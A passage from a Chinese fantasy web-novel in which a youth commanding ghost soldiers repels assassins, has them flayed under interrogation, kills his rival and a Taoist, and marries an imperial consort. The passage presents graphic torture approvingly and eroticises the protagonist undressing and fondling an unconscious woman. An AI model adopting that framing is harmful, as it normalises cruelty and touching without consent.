在堂中,萧淑妃吓得花容失色,站在那里呆呆地发怔。虽是担心李小民的安危,可是也知道自己上前根本帮不到半点忙,只能站在他的背后,暗自替他祈祷,只望他不要受伤才好。

突然间,一声轰响自旁侧传来。墙壁被一根巨木重重撞开,几个凶神恶煞般的黑衣蒙面人挥刀闯进画堂,直奔萧淑妃而去。

李小民正在凝神对敌,眼见前方的敌人已经渐渐支持不住,伤者渐多,正要一鼓作气冲杀出去,忽然听到身后传来萧淑妃的惊叫声,心神巨震,慌忙挥剑逼退前方挥刀砍来的几个敌人,回头一看,见几个黑衣人已经冲到萧淑妃身边,揪住她的头发,挥刀指李小民放声狂叫道:“那小子快下兵刃,不然就砍了你的女人!”

萧淑妃虽然已有了一个比李小民还大的女儿,但看上去还甚是年轻貌美,恍若二十许人,众刺客只道她和李小民住在一起,多半便是他的女人,若是弄错了也什么关系,只要李小民不投降,便一刀杀了她,待李小民心神大乱之际,再行围攻,可望得手,一举斩杀这棘手的少年。 李小民脸色大变,惶声大喝道:“不要乱来!”同时持剑当胸,后退几步,靠墙而立,以防敌人从身后偷袭。

画堂前围攻李小民的黑衣刺客们受到的压力骤然消失,都松了一口气,有人扶起受伤的同伴进行救治,更多的黑衣人执刀闯进画堂,举刀围住李小民,目露凶光,恨不能一刀斩死他,替死难的同伴们报仇雪恨! 只是刚才李小民的厉害,人人都见过,却也一时无人敢于上前,只是挥刀恐吓,刀刃在萧淑妃头上晃来晃去,威胁说只要李小民不放下兵刃,便要杀了他的女人。

李小民心神大乱,此时也只能努力拖延时间,持剑苦笑道:“各位英雄,在下与你们无冤无仇,何必苦苦相逼?”

一个头发微微有些花白的蒙面人冷笑道:“这也是没办法的事,取人钱财,为人消灾,谁叫你得罪了不该得罪的人!”

李小民绞尽脑汁,也想不出是谁想干掉自己,正要再问,那为首的刺客却不肯多说,喝道:“放下兵刃!不然的话,就叫她血溅当场!” 萧淑妃却惊唿道:“不要!小民,千万不要答应他们!”随即被身边的蒙面人揪住头发摔在地上,痛得呜咽起来。

李小民深深地看了她一眼,心中绞痛,面向黑衣人苦笑道:“不放兵刃,是她死;放下兵刃,我死,她和这里所有的女人,都得被你们凌辱灭口,这种事,谁都想得明白!不如你们开个价,要多少钱我都可以给,只要你们放了我的女人!”

蒙面刺客眼中寒光一闪,回头喝道:“砍那女人一条手臂,看他降是不降!”

揪住萧淑妃头发的黑衣人大声答应,高高举起钢刀,狠狠砍下去,便要狠心辣手摧花,将这温婉美丽的绝代佳人,砍下一只手来!

钢刀落下,当的一声,摔落地面。鲜血洒满罗衫,一只手轰然断裂,落在地上,不住地抽搐,断手仍在紧握刀柄,微微跳动,看上去十分可怖。

一众黑衣人大惊失色,看着那抱住断臂大声惨叫的同伴,惊魂大冒,不知道他动手砍人,怎么倒把自己拿刀的手砍掉了。

空气中,一个身影缓缓浮现。黑衣刺客们又大声惊叫起来,声音里饱含不敢置信的恐惧,简直不相信自己眼睛看到的东西!

那浮现在空中的身影,却是一个手持大刀的巨汉,脸色狰狞可怕,獠牙尖长,身上的盔甲破烂无端,到处都是刀痕伤口。手中所持大刀的刀锋处淡淡鲜红,却没有多少血迹残留在上面。正是这柄刀,刚斩了那黑衣人的一只手去。

曾将军轻蔑地看着这群惊惧的凡人,向李小民施礼道:“主人,末将来迟,让主母受到惊扰,还望主人恕罪!”

说着话,他手中大刀狂挥,七里喀嚓,在萧淑妃身边的黑衣人肩上砍下几个脑袋来,满地乱滚。

空气中,红影浮现,一把抱住吓昏的萧淑妃,拖到一旁,却是匆匆赶来的月娘。

紧接着,无数鬼影自外面狂冲而入,挥动灵刀,乱刀砍下,便听惨叫声四面响起,那些黑衣人都被砍断了手脚,倒在地上痛苦挣扎,却不得便死,哭泣惨叫声,令人惨不忍闻。

李小民暗自抹了一把冷汗,刚才自己用传心术派了林利回宫去求救,幸好他们赶来得及时,不然的话,只凭自己拥有的实力,只怕还不能从他们手中保住这美女安然无恙。

看看无数厉鬼已经控制住了局势,一些满心恐惧向外面奔逃的黑衣人也都被地面伸出的灵刀砍断了双腿,倒在地上哀嚎哭泣,李小民放下心来,匆忙跑到月娘身边,从她怀中接过萧淑妃的娇躯,低头看着她苍白玉颜,心中痛惜,抱着她,迈入了后堂。

青绫在卧室中,听到前面的大乱之声,心中恐慌,挣扎着下床穿上外衣,正要出来看,却见李小民抱着满身是血的母亲走进后堂,不由大惊,失声道:“小民!我母亲怎么样了?”

李小民面色凝重,摇头道:“不要担心,她是昏过去了!”

他大声唿喊,叫韩馨儿和躲在暗处的小丫环们快弄些水来,替萧淑妃洗干净身上的鲜血。韩馨儿虽然也被吓得面无人色,还是强撑着叫那些哭泣的小丫环们弄了一个大澡盆来,里面倒满了温水,准备替萧淑妃洗澡。 李小民却是已经急了,想要看看萧淑妃身上是不是有什么伤痕,也不用别人动手,自己就三下五除二,替她把染血罗衫褪了下来。

看着她如花似玉的娇躯,李小民微微一怔,却也顾不得再仔细欣赏这美纶美奂的温婉玉体,抱起萧淑妃赤裸的身子,上下仔细检查一遍,随即将她放进了大浴桶中。

他的手,慌乱地在昏迷美人的滑腻玉体上抚摸洗浴着,替她洗去身上血迹,到处都摸了一遍,发现没有伤口,这才松了口气。

他擦着头上冷汗擡起头,却见青绫和韩馨儿都站在一旁,呆呆地看着他,这才想起自己刚才做了什么事,不由面上一红,向青绫深深一揖,干笑道:“事急从权,姐姐莫怪!”

青绫面色苍白,呆呆地看着他发怔,一副若有所思的模样,不知道在想着什么。

李小民心里有鬼,也不敢多说,干笑两声,说道:“外面还有些坏人没有肃清,姐姐和馨儿在这里照顾娘子……娘娘吧,我去外面看看!” 他慌忙跑出门去,临走时还带上门,并用传心术命令鬼卫们不得去后堂,免得佳人玉体被那些百年老鬼看到了。

青绫站在屋中浴桶边,一边小心地擦拭着母亲那年轻娇美的胴体,一边黯然想道:“原来,他喜欢的是母亲!那首诗,也是他写给母亲的吧?”

想到这里,这才华过人的清丽少女低下头,暗自发出了一声细不可闻的叹息之声。

第四集第四章仙术狂战

刚经过血腥搏杀的院落里,已经被布置得如同森罗殿一般,阴森可怖。所有的刺客,不论是受伤的还是完好的,都被高高地在院中大树上倒吊起来,由无数鬼卫围绕在身旁看守,虎视眈眈,只待主人一声令下,便要上前吸食他们的魂魄,以助自己灵力修炼。

院中的丫环,有两个已经在刺客冲进时被战马冲撞,香消玉殒。余下的都被李小民下令躲在后堂,不得出来。不然的话,若看到这般可怕情景,只怕会当场吓死几个。

李小民站在院中,面沈似水,走到那头发苍白的黑衣人面前,伸手撕下他的面巾,却见入目陌生,根本没有见过这个人。

低头看着他,李小民冷笑道:“说吧,你到底是什么来历,受了谁的命令,要来刺杀我?”

那黑衣人闭目不语,一副慷慨赴死的模样,只是身体微微颤抖,显示了他心中暗藏的恐惧。

李小民冷笑道:“以为死撑着不说就可以了吗?好,小的们,给我动手,让他们把他们知道的都说出来!”

上百鬼卫轰然领诺,手持灵刀,开始替一众黑衣人剥皮剔骨,逼问详情。

一时间,凄厉的惨叫声,在整个院落中震天响起。若非有禁制护住院落,只怕府中丫环,都要被吓得半死不活。

鲜血四处流淌,将院落中的泥土染得通红。筋骨、肌肉被一块块地剥下来,扔在地面。黑衣人们大声惨叫着,苦苦哀求,只求速死。

不多时,便有鬼卫陆续前来禀报,道是他们已经招了,原来是一个杀手集团,因受了雇主之命,前来谋杀李小民。至于雇主是谁,却不知道。 李小民心中纳闷,走到那个刺客首领的面前,见那被倒吊起来的身子,已经有大半被曾将军亲手剔掉了骨头筋肉,剩下的一团血肉犹自挣扎扭动,若非下巴被卸掉,只怕那凄厉的惨叫声能震破人的耳膜。

李小民一挥手,曾将军嘿嘿狞笑着,伸手替白发刺客上好了下巴,狠狠一拳打在他身上,喝道:“不许叫!主人问你什么,都要老实回答!” 那刺客已经快没有气了,喘息半晌,看到李小民站在面前含笑而立,心中狂悔,不得不哽咽哀告道:“小人该死,冒犯公子虎威,求公子饶恕!小人自知罪大,不敢望生,只求速死!”

李小民微笑道:“说吧,是谁叫你们来杀我的?说了,给你一个痛快!”

白发刺客到了此刻,也顾不得为雇主保守秘密的行规,口齿不清地说道:“是望陵太守的公子周长安,出了大价钱,请我们来杀公子的!” 李小民一怔,怎么也想不到是他。自己跟他没什么冤仇,为什么他要雇杀手来干掉自己?

他细细追问,这才知道,周长安已经从宫中的眼线中给的情报里,瞧出真平公主有了秘密情人,心中又妒又恨,只想赶快除掉这妨碍自己成为驸马的绊脚石。

只是一直以来,他都不知道真平公主的情人是谁,今天才从派去跟踪真平公主的眼线口中得知了她情人的府第,妒意大起,立即去雇了跟自己素有来往的杀手集团,要他们跟着眼线,去那府中将一府人尽皆杀死,以泄心头之恨。

刚说到这里,忽然看到林利揪着一个人从府外进来,将他丢在李小民面前,笑道:“主人,我早看这家伙鬼头……贼头贼脑的,一直在府门外躲在暗处张望,所以抓了来,请公子发落!”

那白发刺客见了他,长叹一声,恨道:“你这狗才,跟踪谁不好,偏要跟上这么一个杀星,我们所有人,都被你害苦了!”

李小民转目看去,那人却是一个普通至极的模样,现在已吓得面无人色,只顾叩头求饶,连句话都说不清楚。

李小民耐心询问,得知他本是周长安家中的家奴,因为聪明伶俐,被周长安派出来跟踪真平公主。今天看到她和李小民密会,便转而跟踪李小民,一直跟到他的府中,然后回去禀报周长安,带着一群杀手来这府第斩杀合府之人。

李小民心中奇怪,若是周长安想杀自己,还有可能,只是在秦淮河上,他为什么要将两位公主一并杀掉,这对他又有什么好处?

为了解疑,他又令部下对众俘虏严加拷问,得到的结果却让他有些失望:秦淮河上的行刺事件,却不是他们做的。至于到底是谁想谋刺公主,他们知道的,并不比李小民多。

李小民摇头叹息,看看这些悲惨嘶鸣的黑衣人,想想这些凡人竟然也敢打自己的主意,心中冷笑一声,转头对曾将军道:“这些人都交给你们了,想怎么处置都随便你们吧!”

一群恶鬼,欢声雷动。纷纷冲上前去,争抢着吸食魂魄,让自己的灵力得以增强。

李小民本来不喜欢他们这么做,平日里也严加教导,叫他们不得伤害无辜,免得遭致天谴。不过这些人本来就是恶人,现在是死有余辜,被吸了魂魄也没什么可说的。

他转身走进堂中,听着外面的惨叫声渐渐微弱,暗自叹了一口气,心里暗想道:“周长安总是一个隐患,还是早日除掉为好!”

周长安站在自己居所的小院门前,翘首祈盼,只望能早些听到情敌已死的好消息。

他现在所在之处,是周家的故宅,已经住了好几代了。他的父亲三年前已经去望陵上任,过些天便会卸任归家,现在的府第之中,只有他和一些女眷,以及一位路过此地、借宿于此的父亲的老友。

等了好久,仍不见有人来回报,便是自己派去领路的家奴也未有回来。周长安心下暗暗着慌,不知道是不是出了什么意外。

一直等到天黑,仍不见有人来报信。周长安没有办法,只得草草吃了晚饭,回屋歇息,同时派出几个家奴去杀手集团打探消息,希望能知道到底出了什么事。

夜色低沈,笼罩住了整个周府。

突然间,一个清朗的声音在黑夜中响了起来:

“何方鬼魅,竟敢到此作祟!”

周长安霍然从床上爬起来,听得那声音便是父亲的老友,一位云游到此的道人,道号清昙道人的便是。据说那道人虽然并非出自什么有名的道门,门中也是子弟凋零,他本人却是法术高强,一向如闲云野鹤一般,四海云游。近日来到金陵,本想来看望周长安的父亲,谁知他已经去望陵上任,只得暂居于此,待他几日后卸任归来时再行相聚。

周长安知道他道法精深,既然他说有鬼魅,那就真的有鬼,不由吓得手脚冰凉,只是仗着对老道的信心,慌忙跑出门去,看看那里到底发生了什么事。

跑不了几步,便见道士站在庭院之中,身披法袍,手持宝剑,满面凝重之色,沈声道:“阁下似是活人,为何与鬼魅为友,夜闯官宦之家?” 在他的对面,李小民戴着鬼面具,领着一众鬼卫,与他对峙。但见这老道士道冠高耸,头发雪白,颌下白须飘然,一副仙风道骨的模样,李小民也能感觉到他身上强大的仙力,不由暗自心惊。

他深夜来此,便是想趁人不知,结果了周长安的性命,免得他再对自己下什么黑手,殃及自己身边的女子。谁知却在这里遇到了强手,不由心中犯难,逼紧嗓子,沈声道:“得罪了!我们今日到此,本是为了私人恩怨,要除掉一个雇请杀手、暗箭伤人的坏人。请道长暂退一旁,不要插手此事,可好?”

周长安一听,便吓得浑身发抖。他虽然看不到李小民身后的鬼卫灵体,却被迎面而来的森寒鬼气震慑得无法活动,看着那戴着鬼怪面具的男子,猜到他便是真平公主秘密情人请来的帮手,要杀的必然便是自己。自己重金聘请的杀手集团,力量何等强大,至今音信全无,只怕凶多吉少。对手的实力之强,超过自己想像,若是想要杀掉自己,自己如何能挡? 这一时刻,唯一的救命稻草,便是前面的道人。周长安吓得瘫倒在地,深揖哀求道:“仙长,救命啊!他们这是诬蔑我,我根本没有做过这种事!求仙长看在家父的面上,救侄儿一命!”

清昙道人闻声暗叹。只看他不打自招、自承那人要杀的是他,便知道他或许真的做的雇请杀手之事。只是自己与他父亲多年交好,又怎么能眼睁睁地看着他被人杀掉?

想到此处,道人宝剑一摆,呵斥道:“孽障!挟鬼行凶,必遭天谴,还不给我退下!”

说着话,宝剑一挥,口中念动真言,围着周长安转了一圈,已是布下阵法,将他护在当中。

李小民被他一句“孽障”骂得火星乱冒,眼看着几乎伤到萧淑妃的仇人就在前面,偏偏这老道挡在面前,不肯放自己过去,还布下禁制,挡住自己鬼卫绕过去斩杀他的道路。

老道布下的阵法,他也知道,不太好挡人,可是挡住鬼怪灵体,倒是很合适。现在自己一人百鬼到此,老道只要挡住自己,自己手下鬼卫就无法伤到周长安了。

李小民举起晶莹刃,怒喝一声,道:“道长,若你不肯让开,让我诛杀此奸邪小人,在下只好得罪了!”

清昙道人冷冷一哼,持剑指天,冷然道:“有贫道在此,定不教你伤害无辜!”

李小民心中惊怒,知道这老道是存心架梁,不让自己除去周长安,也不再多说,冷哼一声,便要冲上前去,与清昙道人拼斗一场。

身形未动,忽然看到天空中,风云突变,一道巨大的闪电,自空而落,轰然击向李小民的头顶。

李小民大惊,一个箭步向前飞蹿,却已是慢了一步,被那闪电重重击在身后地上,轰然巨响声中,电光在身侧扫了一下,顿时半体酥麻,难以行动。

那道闪电重重击中地面,泥土飞扬。有一个鬼卫躲闪不及,被闪电击中,惨叫一声,倒在地上抽搐打滚,浑身上下,电光乱冒,灵体也渐渐变淡,似是要被击得魂飞魄散了。

跟在李小民身后的沙将军眼见自己的忠实部下受了重击,心中大怒,却不及上前找那清昙道人报仇,只是大吼一声,挥掌印在那鬼卫背心,面色凝重,以自身灵力对抗鬼卫身上流窜的闪电,勉强护住他的灵体,让他不至于立即魂飞魄散。

李小民想不到清昙道人下手这么狠,一言不合,便即先下手为强,使出天雷轰顶大法,要置自己于死地。正在惊怒之际,但见清昙道人又在持剑指天,口中念念有词,眼神凛冽,似在召唤另一道落雷,将自己一举击得粉碎。

李小民勉强挪动步子,却仍是身上酥麻,正在焦急,忽觉身后两只玉掌伸来,印在背心,将灵力源源不断地度入体内。这灵力与在体内流窜的电流相撞,阵阵激撞中,将电流一一抚平,让李小民的身体,恢复了活动能力。

李小民不用看,便知道是自己带来的风霜二女在用自己的灵力来帮自己度过难关,不由心下感激,却不及说什么感激的话,在一恢复了行动能力时,便即飞身跃出,同时在心中传讯于风霜二女,要急速躲开,千万不要被闪电击中。

天雷再次轰下,泥土四面飞溅,却没有击中任何人鬼。李小民大喝一声,挥剑直扑清昙道人,便要一剑刺穿他的咽喉,免得他再念什么咒语,谋害自己。

清昙道人面色肃然,挺剑来挡,二剑相交,当的一声大响,一股巨力将二人震得向后飞退,低头看看自己的宝剑,都未曾受过什么损伤,知道对方手中所持亦是一件神兵,不由心中暗凛。

狂风唿啸,寒气袭来,两名白衣素服的绝色美人,面色凛冽,挥剑随风扑去,剑尖寒气森森,直指清昙道人的面门。

清昙道人凝神提气,放声大吼道:“妖孽休得倡狂!看我五雷正法的厉害!”

剑尖指处,天空中风云变幻,雷霆大震。巨大的闪电自乌云中轰然击落,直向随风扑来的二女击下。

二女面色一变,灵体飘然远遁,迅疾躲开这道落雷,白衣素服裹着的娇躯,在空中划过一道长弧,自另一个方向,朝清昙道人飞扑而去。 在清昙道人身前,两声大吼同时传出。但见两名悍将,手持大刀、重锤,怒吼着向清昙道人狂奔而去,手中重兵刃狠狠击下,重重砸在清昙道人的宝剑之上,火光四溅。

两柄利剑无声无息地刺来,清昙道人迅速转身挥剑挡开。一道四鬼,在周府宽敞的庭院中一阵狠杀,剑气激荡中,灵力四面飞射,直激得泥沙四溅,地面上,灵力激处,到处都是一个个的坑洞。

四面鬼卫围拢来,呐喊助威,虽是挤不上去,却也有前世被杀的弓箭手张弓搭箭,朝向清昙道人射出灵箭,扰乱他的动作。

李小民站在圈外,看着自己的四个部下与清昙道人斗得旗鼓相当,心下骇然,知道清昙道人道法精深,以一敌四,面对自己获得了强大灵力的部下,亦能不处下风。只是自己这些部下尚未全然消化获得的庞大灵力,便被自己拖出来斩杀敌人,若是他们尽数消化了强大灵力,或是幽儿不是因为上次耗损灵力过度而在废殿休养,这清昙道人现在恐怕已经支撑不下去而遁逃了。

他目光一转,看到周长安正在阵法中瑟瑟发抖,心中一股杀意涌起,持起晶莹刃,冷笑着向他步步逼近。

看到他举剑走剑,周长安吓得浑身剧颤,放声大唿,只救清昙道人前来救自己的性命。

走到那处阵法外侧,李小民正要迈步走进去,忽然脚尖一阵发麻,似是被电流狠狠电了一下,差点失足跌倒。

他心中大震,慌忙退后,仙力在脚尖上流转,消去了不适,看着前面隐隐放射着光华的阵法墙壁,想着清昙道人如此厉害,这阵法居然能挡住活人,不由微微有些惊异。

清昙道人在外面,正与四鬼剧烈拼斗,看李小民持剑去杀周长安,心中焦急,再看到他无法突破自己的阵法,这才稍稍放心,挺剑与四鬼激斗在一处,只望早些压服四鬼,再去斩了那御鬼少年,为天下百姓,除去此害!

仔细回忆着天书上所载关于这个拒灵阵的知识,李小民忽然哑然失笑,随手将晶莹刃插在地上,身子抖了一抖,散去布在周身的灵力,整个人没有半点仙力防御身体,迈步向阵法中走去。

这一次,他试探着将脚伸向拒灵阵,果然没有受到半点阻碍,不由心下暗叹:这拒灵阵虽然布起来简易,却只能挡住灵体,无法挡住身无灵力的活人。自己现在的样子,就象一个普通人一样,那拒灵阵查探不出自己身上灵力,自然也就挡不住了。

周长安看他缓步走近,又惊又怒,但见他手中没有兵刃,恶念忽起,挥手从腰间拔出一柄长剑,放声嘶吼道:“恶贼!我与你无冤无仇,你竟敢闯到我家里意图谋害于我,难道不知举头三尺有神明,能看穿你的恶行么?”

他深怕李小民说出自己的行径,因此不给他说话的机会,挥剑跃过去,剑光闪闪,直向李小民顶门噼下。

李小民听得好气又好笑,见剑势噼来,也不放在眼里,脚下微微一转,躲开剑势,脚步快捷,穿入剑光之中,挥起一拳,狠狠打在周长安小腹之上。

周长安只觉一股巨力重击腹部,痛得惨叫一声,只觉胃部似要被打穿一般,一头扑倒在地,捂着肚子痛苦地满地打滚,手中宝剑与早就扔到了一边。

李小民揪起周长安,挥拳狠揍,想起萧淑妃几乎被他雇来的刺客杀掉,心中更是恼怒,下手绝不容情,不多时便将周长安打得如同猪头一般,身上的骨头也被打断了几根。

正打得兴起,忽听风姨放声惊唿道:“公子小心!”

李小民一听便知事情不妙,随手抓起周长安,用力向上一抛,自己飞身蹿出,在地上打了一个滚,如风般滚落到十余步之外。

轰然巨响在头顶上空响起,天空中,巨如车轮的闪电轰然击下,重重打在飞起在半空的周长安身体上面,顿时便将他的身子轰得四分五裂,到处飞溅。

被轰击的力量波及,李小民落在地上,摔了个灰头土脸,心中大怒:这老道如此狠毒,为了除掉自己,连周长安的性命也不顾,竟趁自己无灵力护体之际,发动天雷,要将自己二人一并击杀!

清昙道人此时也是有苦说不出,他被四鬼围住狠杀,身边围绕着上百厉鬼,个个都不是弱手。若不能一举击杀李小民,让众鬼心神大震,只怕自己也很难逃走。

这一记落雷下去,他剑上仙力顿时一弱,被霜姨看出破绽,嗤地一剑刺出,顿时将他剑圈刺破,灵剑袭体,在清昙道人的闷哼声中,直刺透他的衣衫,在他左肩上刺出一道深深的伤口。

清昙道人忍痛挥剑挡开,剑势微微散乱,沙将军也是趁机挥锤怒击,将宝剑击开一旁,随即便见大刀噼落,清昙道人虽是飞身退开,也被大刀刀锋掠过身子,大腿上顿时鲜血淋漓,血珠洒落地面。

清昙道人痛得大唿失声,四鬼见他受伤,精神大振,刀剑重锤,如雷霆般飞速击去,围住清昙道人痛击不止,直杀得清昙道人剑势散乱,周身浴血,犹自挥剑苦战不止。

陡然间,听得一声清朗断喝:“都让开,让我一剑杀了他!”

四鬼闻声迅疾散开,如风吹落叶,动作疾速无伦。清昙道人陡失对手,倒有些茫然,挥剑四顾,忽见对面一柄利剑,如狂风般噼面刺来,风中飞射而来的少年,面色冷冽,飞速扑向清昙道人,晶莹刃利箭般刺去,”噗”地一声,刺透清昙道人咽喉,血光迸射。

清昙道人仰天怒视一眼,手中宝剑脱手,远远摔落地面,发出当啷一声大响。

他的身子,却不肯倒下,额头顶门处,突然打开,一个小小的身影从顶门蹿了出来,直向天空飞蹿而去。

李小民眼中微现讶色,但见那个小小人影,浑身红光闪闪,长相却与清昙道人毫无二致,看来便是清昙道人苦修多年,练出来的元婴了。 自己一剑刺透他的咽喉,这个肉身,清昙道人已经是不能用了。因此,他只有抛弃自己原来的肉身,以元神逃遁,希望还有修炼大成,报仇雪恨之日。

元婴正在飞速上升,陡然间,一柄巨锤自空狠狠砸落,砰然砸在元婴头顶,红光四溅。那元婴被这一记痛击,整个灵体被砸得碎开,四散飞射,在空中向四面落去。

曾将军早在下面等着,看灵体碎片飞来,什么也不说,挥手抓住碎裂元神,不管那半个身子还在挣扎惨叫,硬将它塞到狰狞鬼口中,狠嚼几下,硬吃了下去。

天空中,沙将军收锤大笑,也不肯落后,巨大身躯如箭射落,在空中挥手抓住片片碎裂元婴,塞进口中,以清昙道人多年修炼的修为,来增长自己灵力。

地面上的上百鬼卫,欢声雷动。纷纷冲上天空,到处搜寻着元婴碎片,大口吃下去,鬼鬼都是满面红光,兴奋无比,咧开大嘴,嘶声大笑。一时间,鬼哭神嚎之声,响彻四方。

众鬼漫天飞舞,如过节一般喜庆。就连那被天雷击中,身受重伤的鬼卫也被头领向嘴里塞了一块元婴碎片,立时站了起来,精神百倍地仰天长啸,兴奋之意,表露无遗。

只有风霜二女嫌脏,皱眉站在一边,不肯上前参与争夺。

李小民也看得有些恶心,走到二女身边,深深一揖,道谢道:“多亏风姨霜姨帮忙,不然的话,刚才我恐怕要受重伤了!”

二女敛袂还礼,淡然道:“公子太客气了。婢子本是公子下属,保护公子,本是份所应当之事。”

李小民擡眼偷看二女,但见二女相貌美丽,那身穿素服、冷若冰霜的模样,更让人忍不住产生征服的欲望。正要搭讪着和这两名美女增进感情,忽听一阵哭嚎声自内院传来,远处似乎还有巡逻队向这边跑来,李小民心神一清,仰面向天,冷声喝道:“不要闹了!快把事件做完,我们赶快离开!”

刚才那一阵大闹,只怕附近各处,都听得清清楚楚。幸好自己一直带着鬼面具,不怕被人看穿真实面目,但若呆的时间长了,对自己没什么好处。

当下里,众鬼在李小民的命令下,使出“百鬼搬运大法”,将周府中的财宝搬得一干二净,得意洋洋地收兵回营。

待得巡逻队的官兵们壮着胆子走进周府时,看到的只是满目疮痍,到处都是闪电击出的坑洞。地面上有两具尸体,一具是白发道人,咽喉中剑,圆睁双目倒在地上,头上天灵盖掀开,露出了里面的血肉;另一具,却是通体焦黑,几乎看不出那还是个人。

如此诡异的情景,看得众官兵面面相觑,恐惧不已。

那一边,李小民将得到的财物送回自己的宅院后,还怕有漏网之鱼,索性带上吃了元婴,狂性大发的沙曾二将、上百鬼卫,去将周长安雇请的杀手集团的总坛给挑了,里面留守的杀手和他们的首领,尽都被斩杀当场,就连魂魄也被鬼卫们一轰而上,吸食得干干净净。

虽然知情者都已绝灭,李小民还是不能放心,便传令给陈德修,让他再买了两处大宅院,让云妃、萧淑妃分别居住在那两处宅院中,将她们分了开来。同时在门口都放下鬼卫保护,并让买来的丫环们养上恶狗,以保护众女不受坏人所袭。

而原来的这所宅院,只作为李小民秘密藏宝的地方,而再无人居住。庭院中的地面上,虽然已经经过了清理,但那满地的血腥之气,犹是久久散发不尽。

第四集第五章温婉娇妻

宫外的事务越来越多,李小民这几天忙着给众女寻找新的住处,买丫环买狗,几乎没有时间呆在宫里。没办法,他只得让风姨附在僵尸身上,冒充自己呆在自己在宫中的居所里,以备检查。而每天早上,自己的替身只要去御膳房转一圈,让人看到自己还在宫里,便借口出去采买物品,找个地方躲起来,让谁都找不着。

而他的真身,却是忙着做各种事务,或是在皇宫旺地、阴暗密林中独自修炼,将自己这些天因病落下的进境补回来。

这一天,他在宫中旺地修炼了整整一夜,白天又回到自己住所睡了一会,想起宫外的美人们,便出宫而去,前去探望。

云妃的住所稍近一些,他去那里看了看,见到云妃与兰儿以姊妹相称,并恭敬地以妹礼事奉兰儿,不由心怀大畅,将二女抱在怀里,好生抚慰了一番。

下午时分,李小民午睡起来,放开怀中抱着的两名美女,骑上骏马,驰向萧淑妃母女所居的府第。

驰进府门,却见四处张灯结彩,那些新来的丫环们都在韩馨儿的指挥之下,将红缎挂起来,四面墙上贴上大红双喜字,不知道是在做些什么。 李小民心中有些纳闷,便揪住韩馨儿,问道:“今天是有什么喜事吗?”

韩馨儿掩口笑道:“主人,今天是您大喜的日子,你怎么忘了?” “我?大喜的日子?”李小民心下纳闷,不及细问,便见韩馨儿已经急着跑开去布置府第了,只得满腹狐疑地走进后堂,想找萧淑妃问个明白。

萧淑妃不知躲到哪里去了,怎么都找不到。倒是在书房里碰上了青绫,坐在书桌边,以手支撑着面颊,呆呆地发怔。

李小民走过去,行了个礼,疑惑地问道:“青绫姐姐,你在做什么?这府里,都是怎么回事?”

青绫正在侧头想着心事,直想得心中悲苦,忽然听到他的声音,慌忙站起来,拭泪笑道:“新郎官来了!不知道以后,我该叫你什么好?” 李小民纳闷道:“怎么你们个个都这么说!今天晚上,到底是有什么喜事?”

青绫似笑非笑地看着他,淡然道:“父亲大人为何还要问我!今天不是你与家母的大喜日子么?”

李小民吓了一跳,失声叫道:“谁说的!我结婚娶妻,我怎么自己都不知道?”

青绫低头冷笑道:“是娶妻么?月娘姑娘前来说的,好像是纳妾吧!”

李小民一听便即明白,仰天大喝道:“月娘,给我出来!”

空气中,暗影浮动,娇俏佳人悄然出现在他们身边,跪拜在地,掩口微笑道:“主人,唤奴婢来,有什么事吗?”

李小民虽然是心下感激,表面上还得装作生气的样子,喝道:“说,你怎么趁我不在,说些胡言乱语,蛊惑人心?”

月娘慌忙跪倒叩首,装出惊慌的模样,娇声道:“主人,是月娘大胆,眼见主人与娘娘两情相悦,却不能在一起,因此起了煳涂念头,大胆撮合主人与娘娘的良缘。何况当初娘娘和公主也都发过誓的,要陪在主人身边一生一世,奴婢实在不忍看到二位主子有违誓言,导致天谴,因此才定下这个主意,求主人宽恕!”

青绫听到她把话扯到自己身上,想起当初发下的誓言,不由又羞又怒,知道母亲与小民子的亲事,自己是无法阻止,拂袖冷笑道:“父亲大人也不必再斥责月娘了,女儿发下的誓言,将来一定会照做就是。父亲大人什么时候想要女儿的身子,尽管讲来,女儿无有不从!”

看着她拂袖而去,窈窕倩影消失在书房门外,李小民瞠目半晌,暗自长叹一声,知道自己和她的关系,很难再恢复到原来那样融洽了。 不过月娘既然已经安排好了这件婚事,自己也不好拂逆她的好意,因此李小民勉为其难,还是穿上新郎礼服,准备参加月娘为自己准备的婚礼。

在韩馨儿服侍他着衣时,李小民看着她娇俏的脸蛋,忍不住伸手去摸,调笑道:“馨儿越长越漂亮啦!过几天,等你主母发了话,就收你进房,做个通房大丫头!”

韩馨儿羞得满脸红晕,却不敢搭话,匆匆地替他穿好大红新郎礼服,上下打量一遍,见主人穿好大红喜衣,更显得潇洒飘逸,且多了一层喜意,不由又羞又喜,跪在地上,恭声道:“主人,吉时快到了,请主人到堂上去吧。”

李小民笑着摸摸她柔滑青丝,迈步出门,到了堂上,看看一群丫环们正围在堂下,好奇地看着自己的新主人和新主母结亲。

看着满屋俏丽丫环,李小民心怀大畅,挥手道:“打赏!今天每人多发一个月的月俸银子,拿去买糖吃吧!”

婢女们欢笑着,跪下叩谢主人的厚赏。她们在新主子这里拿的月俸银子本就不少,比原来的主人给的多出了几倍,现在一来就拿到了一个月的月俸,不由暗自欢喜,跟了这么一个有钱又大方的主子,将来的日子会好过许多。

李小民坐在堂上,慢慢品茶,心中有似猫抓,一心想看到萧淑妃穿着大红嫁衣的模样。

不知等了多久,才等到了吉时,听着司礼的大丫环高声唱诵着:“吉时已到,请新人上堂!”

不多时,便见韩馨儿扶着新娘,袅袅娜娜地走上堂来,看新娘身穿大红嫁衣,金线绣着彩凤,头戴凤冠,上面蒙着大红盖头,虽是看不清面目,但那诱人至极的性感娇躯,还是让李小民一眼便认出,那便是与自己共度多日、亲密无间的绝色美人萧淑妃。

李小民强忍着心中欢喜,站起来上前迎接,却被丫环挡住,将一根大红绸带递到他的手中,不让新郎在婚礼上有什么不轨的行动。

入乡随俗,李小民也只得强忍着心中搔痒,按照司礼大丫环的指示,拉着绸带,看着萧淑妃纤纤素手拉着另一端,神魂飘荡,已不知自己身在何处,只是按照司礼丫环的唱诵,和美人并肩跪在地上,叩天拜地,然后就是夫妻对拜。面对着这一身大红喜服的佳人,满心欢喜地拜了下去。 不管从前不情不愿地对美人们拜了多少次,这一次,他却是拜得称心如意,再无一拜,能让他这么爽快过。

礼毕,就要送入洞房了。那些丫环们却都娇笑着跑上来,向新主人和新主母叩拜道喜。

李小民一手抓住佳人想要躲闪的小手,紧紧地攥在手里,挥手笑道:“今天本公子大喜之日,每人都有赏钱,每人再多发两个月的俸银,现在,都下去喝两杯喜酒吧!”

